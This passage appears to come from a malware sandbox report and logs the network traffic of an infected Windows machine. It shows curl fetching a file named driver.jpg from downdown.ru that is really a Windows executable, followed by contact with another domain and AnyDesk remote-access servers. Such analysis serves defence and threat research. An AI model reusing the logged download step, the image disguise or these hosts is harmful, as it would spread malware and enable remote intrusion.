Jan 8, 2025 15:53:49.405495882 CET	49822	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:53:49.405497074 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.405508995 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.405520916 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.405558109 CET	49822	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:53:49.405561924 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.405607939 CET	49822	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:53:49.405622959 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.405635118 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.405647993 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.405668020 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.405672073 CET	49822	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:53:49.405688047 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.405699015 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.405709028 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.405711889 CET	49822	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:53:49.405723095 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.405733109 CET	49822	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:53:49.405734062 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.405760050 CET	49822	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:53:49.405803919 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.405838966 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.405850887 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.405877113 CET	49822	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:53:49.405880928 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.405894041 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.405899048 CET	49822	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:53:49.405906916 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.405939102 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.405950069 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.405956984 CET	49822	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:53:49.405961990 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.405980110 CET	49822	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:53:49.405997992 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406009912 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406021118 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406025887 CET	49822	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:53:49.406034946 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406058073 CET	49822	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:53:49.406059980 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406070948 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406080961 CET	49822	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:53:49.406084061 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406104088 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406116009 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406120062 CET	49822	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:53:49.406130075 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406164885 CET	49822	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:53:49.406168938 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406234026 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406245947 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406258106 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406275988 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406286955 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406296015 CET	49822	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:53:49.406325102 CET	49822	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:53:49.406342030 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406353951 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406373978 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406385899 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406394958 CET	49822	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:53:49.406398058 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406411886 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406445980 CET	49822	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:53:49.406452894 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406464100 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406472921 CET	49822	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:53:49.406475067 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406503916 CET	49822	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:53:49.406788111 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406810045 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406821966 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406840086 CET	49822	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:53:49.406841993 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406855106 CET	49822	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:53:49.406860113 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406872034 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406886101 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.406908989 CET	49822	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:53:49.406930923 CET	49822	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:53:49.406982899 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.407004118 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.407139063 CET	49822	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:53:49.438297033 CET	49822	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:53:49.443288088 CET	80	49822	185.125.51.5	192.168.2.7
Jan 8, 2025 15:53:49.443344116 CET	49822	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:53:53.107130051 CET	49853	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:53:53.111951113 CET	80	49853	94.23.158.211	192.168.2.7
Jan 8, 2025 15:53:53.112056971 CET	49853	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:53:53.113423109 CET	49853	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:53:53.118171930 CET	80	49853	94.23.158.211	192.168.2.7
Jan 8, 2025 15:53:53.753559113 CET	80	49853	94.23.158.211	192.168.2.7
Jan 8, 2025 15:53:53.753622055 CET	49853	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:53:53.953088999 CET	49853	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:53:53.958009005 CET	80	49853	94.23.158.211	192.168.2.7
Jan 8, 2025 15:53:54.129282951 CET	80	49853	94.23.158.211	192.168.2.7
Jan 8, 2025 15:53:54.129448891 CET	49853	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:53:54.268510103 CET	49853	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:53:54.273304939 CET	80	49853	94.23.158.211	192.168.2.7
Jan 8, 2025 15:53:54.569462061 CET	80	49853	94.23.158.211	192.168.2.7
Jan 8, 2025 15:53:54.569608927 CET	49853	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:53:54.725449085 CET	49853	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:53:54.730366945 CET	80	49853	94.23.158.211	192.168.2.7
Jan 8, 2025 15:53:54.920233011 CET	80	49853	94.23.158.211	192.168.2.7
Jan 8, 2025 15:53:54.927062035 CET	49853	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:53:55.107974052 CET	49853	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:53:55.112792969 CET	80	49853	94.23.158.211	192.168.2.7
Jan 8, 2025 15:53:55.355158091 CET	49867	443	192.168.2.7	92.223.88.41
Jan 8, 2025 15:53:55.355206013 CET	443	49867	92.223.88.41	192.168.2.7
Jan 8, 2025 15:53:55.355433941 CET	49867	443	192.168.2.7	92.223.88.41
Jan 8, 2025 15:53:55.380625010 CET	49867	443	192.168.2.7	92.223.88.41
Jan 8, 2025 15:53:55.380661011 CET	443	49867	92.223.88.41	192.168.2.7
Jan 8, 2025 15:53:56.002401114 CET	443	49867	92.223.88.41	192.168.2.7
Jan 8, 2025 15:53:56.002748013 CET	49867	443	192.168.2.7	92.223.88.41
Jan 8, 2025 15:53:56.382721901 CET	49867	443	192.168.2.7	92.223.88.41
Jan 8, 2025 15:53:56.382745981 CET	443	49867	92.223.88.41	192.168.2.7
Jan 8, 2025 15:53:56.383027077 CET	443	49867	92.223.88.41	192.168.2.7
Jan 8, 2025 15:53:56.383167982 CET	49867	443	192.168.2.7	92.223.88.41
Jan 8, 2025 15:53:56.696671009 CET	49867	443	192.168.2.7	92.223.88.41
Jan 8, 2025 15:53:56.719546080 CET	49873	80	192.168.2.7	92.223.88.41
Jan 8, 2025 15:53:56.724462032 CET	80	49873	92.223.88.41	192.168.2.7
Jan 8, 2025 15:53:56.724550962 CET	49873	80	192.168.2.7	92.223.88.41
Jan 8, 2025 15:53:56.811068058 CET	49873	80	192.168.2.7	92.223.88.41
Jan 8, 2025 15:53:56.815886021 CET	80	49873	92.223.88.41	192.168.2.7
Jan 8, 2025 15:53:57.007055998 CET	49873	80	192.168.2.7	92.223.88.41
Jan 8, 2025 15:53:57.055694103 CET	80	49873	92.223.88.41	192.168.2.7
Jan 8, 2025 15:53:57.163410902 CET	80	49873	92.223.88.41	192.168.2.7
Jan 8, 2025 15:53:57.163480997 CET	49873	80	192.168.2.7	92.223.88.41
Jan 8, 2025 15:53:59.920943022 CET	80	49853	94.23.158.211	192.168.2.7
Jan 8, 2025 15:53:59.921171904 CET	49853	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:53:59.922015905 CET	49853	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:53:59.922652006 CET	49893	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:53:59.928632021 CET	80	49853	94.23.158.211	192.168.2.7
Jan 8, 2025 15:53:59.929246902 CET	80	49893	94.23.158.211	192.168.2.7
Jan 8, 2025 15:53:59.929347038 CET	49893	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:53:59.929683924 CET	49893	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:53:59.936696053 CET	80	49893	94.23.158.211	192.168.2.7
Jan 8, 2025 15:54:01.534976006 CET	49904	443	192.168.2.7	92.223.88.41
Jan 8, 2025 15:54:01.535021067 CET	443	49904	92.223.88.41	192.168.2.7
Jan 8, 2025 15:54:01.535093069 CET	49904	443	192.168.2.7	92.223.88.41
Jan 8, 2025 15:54:01.567331076 CET	49904	443	192.168.2.7	92.223.88.41
Jan 8, 2025 15:54:01.567356110 CET	443	49904	92.223.88.41	192.168.2.7
Jan 8, 2025 15:54:02.183830023 CET	443	49904	92.223.88.41	192.168.2.7
Jan 8, 2025 15:54:02.183936119 CET	49904	443	192.168.2.7	92.223.88.41
Jan 8, 2025 15:54:02.184591055 CET	49904	443	192.168.2.7	92.223.88.41
Jan 8, 2025 15:54:02.184602976 CET	443	49904	92.223.88.41	192.168.2.7
Jan 8, 2025 15:54:02.184748888 CET	443	49904	92.223.88.41	192.168.2.7
Jan 8, 2025 15:54:02.184813976 CET	49904	443	192.168.2.7	92.223.88.41
Jan 8, 2025 15:54:02.571365118 CET	49904	443	192.168.2.7	92.223.88.41
Jan 8, 2025 15:54:02.591474056 CET	49915	80	192.168.2.7	92.223.88.41
Jan 8, 2025 15:54:02.596446037 CET	80	49915	92.223.88.41	192.168.2.7
Jan 8, 2025 15:54:02.596707106 CET	49915	80	192.168.2.7	92.223.88.41
Jan 8, 2025 15:54:02.601722002 CET	49915	80	192.168.2.7	92.223.88.41
Jan 8, 2025 15:54:02.606590033 CET	80	49915	92.223.88.41	192.168.2.7
Jan 8, 2025 15:54:03.235745907 CET	80	49915	92.223.88.41	192.168.2.7
Jan 8, 2025 15:54:03.247294903 CET	49915	80	192.168.2.7	92.223.88.41
Jan 8, 2025 15:54:03.252232075 CET	80	49915	92.223.88.41	192.168.2.7
Jan 8, 2025 15:54:03.427742958 CET	80	49915	92.223.88.41	192.168.2.7
Jan 8, 2025 15:54:03.428029060 CET	80	49915	92.223.88.41	192.168.2.7
Jan 8, 2025 15:54:03.428481102 CET	49915	80	192.168.2.7	92.223.88.41
Jan 8, 2025 15:54:03.774604082 CET	49915	80	192.168.2.7	92.223.88.41
Jan 8, 2025 15:54:03.779469013 CET	80	49915	92.223.88.41	192.168.2.7
Jan 8, 2025 15:54:03.831845999 CET	49921	6568	192.168.2.7	92.223.88.41
Jan 8, 2025 15:54:03.836776972 CET	6568	49921	92.223.88.41	192.168.2.7
Jan 8, 2025 15:54:03.836930037 CET	49921	6568	192.168.2.7	92.223.88.41
Jan 8, 2025 15:54:03.899853945 CET	49921	6568	192.168.2.7	92.223.88.41
Jan 8, 2025 15:54:03.904763937 CET	6568	49921	92.223.88.41	192.168.2.7
Jan 8, 2025 15:54:04.440417051 CET	6568	49921	92.223.88.41	192.168.2.7
Jan 8, 2025 15:54:04.450787067 CET	49921	6568	192.168.2.7	92.223.88.41
Jan 8, 2025 15:54:04.455739021 CET	6568	49921	92.223.88.41	192.168.2.7
Jan 8, 2025 15:54:04.598375082 CET	49927	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:54:04.603961945 CET	80	49927	185.125.51.5	192.168.2.7
Jan 8, 2025 15:54:04.606472969 CET	49927	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:54:04.606676102 CET	49927	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:54:04.611464024 CET	80	49927	185.125.51.5	192.168.2.7
Jan 8, 2025 15:54:04.625817060 CET	6568	49921	92.223.88.41	192.168.2.7
Jan 8, 2025 15:54:04.626279116 CET	6568	49921	92.223.88.41	192.168.2.7
Jan 8, 2025 15:54:04.627933025 CET	49921	6568	192.168.2.7	92.223.88.41
Jan 8, 2025 15:54:04.866014004 CET	49921	6568	192.168.2.7	92.223.88.41
Jan 8, 2025 15:54:04.870860100 CET	6568	49921	92.223.88.41	192.168.2.7
Jan 8, 2025 15:54:05.244435072 CET	80	49927	185.125.51.5	192.168.2.7
Jan 8, 2025 15:54:05.244457960 CET	80	49927	185.125.51.5	192.168.2.7
Jan 8, 2025 15:54:05.244469881 CET	80	49927	185.125.51.5	192.168.2.7
Jan 8, 2025 15:54:05.244481087 CET	80	49927	185.125.51.5	192.168.2.7
Jan 8, 2025 15:54:05.244493961 CET	80	49927	185.125.51.5	192.168.2.7
Jan 8, 2025 15:54:05.244553089 CET	49927	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:54:05.257997036 CET	49927	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:54:05.263122082 CET	80	49927	185.125.51.5	192.168.2.7
Jan 8, 2025 15:54:05.263202906 CET	49927	80	192.168.2.7	185.125.51.5
Jan 8, 2025 15:54:11.095113993 CET	49968	443	192.168.2.7	92.223.88.41
Jan 8, 2025 15:54:11.095168114 CET	443	49968	92.223.88.41	192.168.2.7
Jan 8, 2025 15:54:11.095290899 CET	49968	443	192.168.2.7	92.223.88.41
Jan 8, 2025 15:54:11.117085934 CET	49968	443	192.168.2.7	92.223.88.41
Jan 8, 2025 15:54:11.117119074 CET	443	49968	92.223.88.41	192.168.2.7
Jan 8, 2025 15:54:11.734675884 CET	443	49968	92.223.88.41	192.168.2.7
Jan 8, 2025 15:54:11.734786987 CET	49968	443	192.168.2.7	92.223.88.41
Jan 8, 2025 15:54:11.735373974 CET	49968	443	192.168.2.7	92.223.88.41
Jan 8, 2025 15:54:11.735383987 CET	443	49968	92.223.88.41	192.168.2.7
Jan 8, 2025 15:54:11.735553980 CET	443	49968	92.223.88.41	192.168.2.7
Jan 8, 2025 15:54:11.735636950 CET	49968	443	192.168.2.7	92.223.88.41
Jan 8, 2025 15:54:11.855329037 CET	49968	443	192.168.2.7	92.223.88.41
Jan 8, 2025 15:54:11.881181002 CET	49974	80	192.168.2.7	57.129.19.1
Jan 8, 2025 15:54:11.886095047 CET	80	49974	57.129.19.1	192.168.2.7
Jan 8, 2025 15:54:11.886193037 CET	49974	80	192.168.2.7	57.129.19.1
Jan 8, 2025 15:54:11.904146910 CET	49974	80	192.168.2.7	57.129.19.1
Jan 8, 2025 15:54:11.908976078 CET	80	49974	57.129.19.1	192.168.2.7
Jan 8, 2025 15:54:12.439050913 CET	80	49974	57.129.19.1	192.168.2.7
Jan 8, 2025 15:54:12.439194918 CET	49974	80	192.168.2.7	57.129.19.1
Jan 8, 2025 15:54:12.514276028 CET	49974	80	192.168.2.7	57.129.19.1
Jan 8, 2025 15:54:12.519208908 CET	80	49974	57.129.19.1	192.168.2.7
Jan 8, 2025 15:54:12.541258097 CET	49980	6568	192.168.2.7	57.129.19.1
Jan 8, 2025 15:54:12.546133995 CET	6568	49980	57.129.19.1	192.168.2.7
Jan 8, 2025 15:54:12.546437025 CET	49980	6568	192.168.2.7	57.129.19.1
Jan 8, 2025 15:54:12.569122076 CET	49980	6568	192.168.2.7	57.129.19.1
Jan 8, 2025 15:54:12.573995113 CET	6568	49980	57.129.19.1	192.168.2.7
Jan 8, 2025 15:54:13.183813095 CET	6568	49980	57.129.19.1	192.168.2.7
Jan 8, 2025 15:54:13.194437027 CET	49980	6568	192.168.2.7	57.129.19.1
Jan 8, 2025 15:54:13.200361013 CET	6568	49980	57.129.19.1	192.168.2.7
Jan 8, 2025 15:54:13.379761934 CET	6568	49980	57.129.19.1	192.168.2.7
Jan 8, 2025 15:54:13.379941940 CET	6568	49980	57.129.19.1	192.168.2.7
Jan 8, 2025 15:54:13.380031109 CET	49980	6568	192.168.2.7	57.129.19.1
Jan 8, 2025 15:54:13.509892941 CET	49980	6568	192.168.2.7	57.129.19.1
Jan 8, 2025 15:54:13.514719963 CET	6568	49980	57.129.19.1	192.168.2.7
Jan 8, 2025 15:54:21.336153984 CET	80	49893	94.23.158.211	192.168.2.7
Jan 8, 2025 15:54:21.336447001 CET	49893	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:54:21.336690903 CET	49893	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:54:21.341486931 CET	80	49893	94.23.158.211	192.168.2.7
Jan 8, 2025 15:54:21.506613970 CET	50000	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:54:21.511840105 CET	80	50000	94.23.158.211	192.168.2.7
Jan 8, 2025 15:54:21.511931896 CET	50000	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:54:21.524907112 CET	50000	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:54:21.529726982 CET	80	50000	94.23.158.211	192.168.2.7
Jan 8, 2025 15:54:37.350589991 CET	55517	53	192.168.2.7	1.1.1.1
Jan 8, 2025 15:54:37.355426073 CET	53	55517	1.1.1.1	192.168.2.7
Jan 8, 2025 15:54:37.355551958 CET	55517	53	192.168.2.7	1.1.1.1
Jan 8, 2025 15:54:37.355578899 CET	55517	53	192.168.2.7	1.1.1.1
Jan 8, 2025 15:54:37.360399961 CET	53	55517	1.1.1.1	192.168.2.7
Jan 8, 2025 15:54:37.822381973 CET	53	55517	1.1.1.1	192.168.2.7
Jan 8, 2025 15:54:37.824409008 CET	55517	53	192.168.2.7	1.1.1.1
Jan 8, 2025 15:54:37.829411983 CET	53	55517	1.1.1.1	192.168.2.7
Jan 8, 2025 15:54:37.829458952 CET	55517	53	192.168.2.7	1.1.1.1
Jan 8, 2025 15:54:42.899573088 CET	80	50000	94.23.158.211	192.168.2.7
Jan 8, 2025 15:54:42.899671078 CET	50000	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:54:42.920609951 CET	50000	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:54:42.925461054 CET	80	50000	94.23.158.211	192.168.2.7
Jan 8, 2025 15:54:43.028378010 CET	55520	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:54:43.033358097 CET	80	55520	94.23.158.211	192.168.2.7
Jan 8, 2025 15:54:43.033484936 CET	55520	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:54:43.033643961 CET	55520	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:54:43.038436890 CET	80	55520	94.23.158.211	192.168.2.7
Jan 8, 2025 15:55:04.444746017 CET	80	55520	94.23.158.211	192.168.2.7
Jan 8, 2025 15:55:04.444828987 CET	55520	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:55:04.444914103 CET	55520	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:55:04.449743032 CET	80	55520	94.23.158.211	192.168.2.7
Jan 8, 2025 15:55:04.556704998 CET	55521	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:55:04.561594009 CET	80	55521	94.23.158.211	192.168.2.7
Jan 8, 2025 15:55:04.561707973 CET	55521	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:55:04.561863899 CET	55521	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:55:04.566670895 CET	80	55521	94.23.158.211	192.168.2.7
Jan 8, 2025 15:55:25.927731037 CET	80	55521	94.23.158.211	192.168.2.7
Jan 8, 2025 15:55:25.927927017 CET	55521	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:55:27.035693884 CET	55521	80	192.168.2.7	94.23.158.211
Jan 8, 2025 15:55:27.040909052 CET	80	55521	94.23.158.211	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 8, 2025 15:53:28.191381931 CET	59506	53	192.168.2.7	1.1.1.1
Jan 8, 2025 15:53:35.228435993 CET	60272	53	192.168.2.7	1.1.1.1
Jan 8, 2025 15:53:37.082509041 CET	50700	53	192.168.2.7	1.1.1.1
Jan 8, 2025 15:53:37.132915020 CET	53	50700	1.1.1.1	192.168.2.7
Jan 8, 2025 15:53:52.872651100 CET	58055	53	192.168.2.7	1.1.1.1
Jan 8, 2025 15:53:53.098241091 CET	53	58055	1.1.1.1	192.168.2.7
Jan 8, 2025 15:53:55.324120998 CET	60496	53	192.168.2.7	1.1.1.1
Jan 8, 2025 15:53:55.331393957 CET	53	60496	1.1.1.1	192.168.2.7
Jan 8, 2025 15:54:11.857784033 CET	57576	53	192.168.2.7	1.1.1.1
Jan 8, 2025 15:54:11.865164995 CET	53	57576	1.1.1.1	192.168.2.7
Jan 8, 2025 15:54:37.350024939 CET	53	58422	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 8, 2025 15:53:28.191381931 CET	192.168.2.7	1.1.1.1	0x4f5c	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:53:35.228435993 CET	192.168.2.7	1.1.1.1	0xf940	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:53:37.082509041 CET	192.168.2.7	1.1.1.1	0x3a9c	Standard query (0)	downdown.ru	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:53:52.872651100 CET	192.168.2.7	1.1.1.1	0x7be	Standard query (0)	www.4t-niagara.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:53:55.324120998 CET	192.168.2.7	1.1.1.1	0x2a61	Standard query (0)	boot.net.anydesk.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:54:11.857784033 CET	192.168.2.7	1.1.1.1	0xdbb2	Standard query (0)	boot.net.anydesk.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 8, 2025 15:53:28.198024988 CET	1.1.1.1	192.168.2.7	0x4f5c	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 8, 2025 15:53:35.235925913 CET	1.1.1.1	192.168.2.7	0xf940	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 8, 2025 15:53:35.939807892 CET	1.1.1.1	192.168.2.7	0x4e19	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:53:35.939807892 CET	1.1.1.1	192.168.2.7	0x4e19	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:53:37.132915020 CET	1.1.1.1	192.168.2.7	0x3a9c	No error (0)	downdown.ru		185.125.51.5	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:53:53.098241091 CET	1.1.1.1	192.168.2.7	0x7be	No error (0)	www.4t-niagara.com		94.23.158.211	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:53:55.331393957 CET	1.1.1.1	192.168.2.7	0x2a61	No error (0)	boot.net.anydesk.com		92.223.88.41	A (IP address)	IN (0x0001)	false
Jan 8, 2025 15:54:11.865164995 CET	1.1.1.1	192.168.2.7	0xdbb2	No error (0)	boot.net.anydesk.com		57.129.19.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

downdown.ru

www.4t-niagara.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49745	185.125.51.5	80	8844	C:\Intel\curl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 15:53:37.152705908 CET	89	OUT	GET /driver.jpg HTTP/1.1 User-Agent: curl/7.40.0-DEV Host: downdown.ru Accept: /
Jan 8, 2025 15:53:37.783123016 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:53:37 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 09:23:13 GMT ETag: "49400-62831fb300240" Accept-Ranges: bytes Content-Length: 300032 Content-Type: image/jpeg Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZP@!L!This program must be run under Win32$7PELH0@@ gp.text0& `.data @F,@.tls`r@.rdatapt@P.idatav@@.edata
Jan 8, 2025 15:53:37.783142090 CET	224	IN	Data Raw: 02 00 00 00 84 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 10 00 00 00 a0 05 00 00 0e 00 00 00 86 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @@.rsrc@@
